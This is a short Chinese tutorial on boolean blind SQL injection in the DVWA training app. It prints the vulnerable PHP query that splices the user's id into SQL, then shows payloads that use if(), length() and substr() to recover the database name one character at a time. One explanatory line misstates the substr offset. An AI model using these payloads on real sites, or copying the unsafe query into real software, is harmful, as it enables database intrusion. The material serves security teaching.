在一些特定的场景下我们输入的sql语句并没能回显出来只能根据不同的页面返回结果来判断结果,这就是盲注入
代码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这里直接将id值拼接到了sql语句但是只是根据是否有返回结果来输出语句,有数据的情况下输出User ID exists in the database,没有的话输出
User ID is MISSING from the database.这里就没办法使用union联合查询了只能能通过布尔盲注
通过if函数来判断数据库名的长度
if (length(database())=4,1,0)
如果数据库的长度为4返回1,不是返回0
1’and (if (length(database())=4,1,0))####
页面返回User ID exists in the database说明数据名的长度确实为4
1’and (if (length(database())=3,1,0))####
通过substr函数截取字符串的长度
1’ and (select(substr(database() from 1 for 1))) = ‘d’###
这里from 1 for 1是从第一位开始截取一位字符串并且判断是否为字符串d
1’ and (select(substr(database() from 2 for 1))) = ‘v’###这里from 1 for 1是从第一位开始截取二位字符串并且判断是否为字符串v
最后得出库名为dvwa
参考文章
https://blog.csdn.net/weixin_45146120/article/details/100104131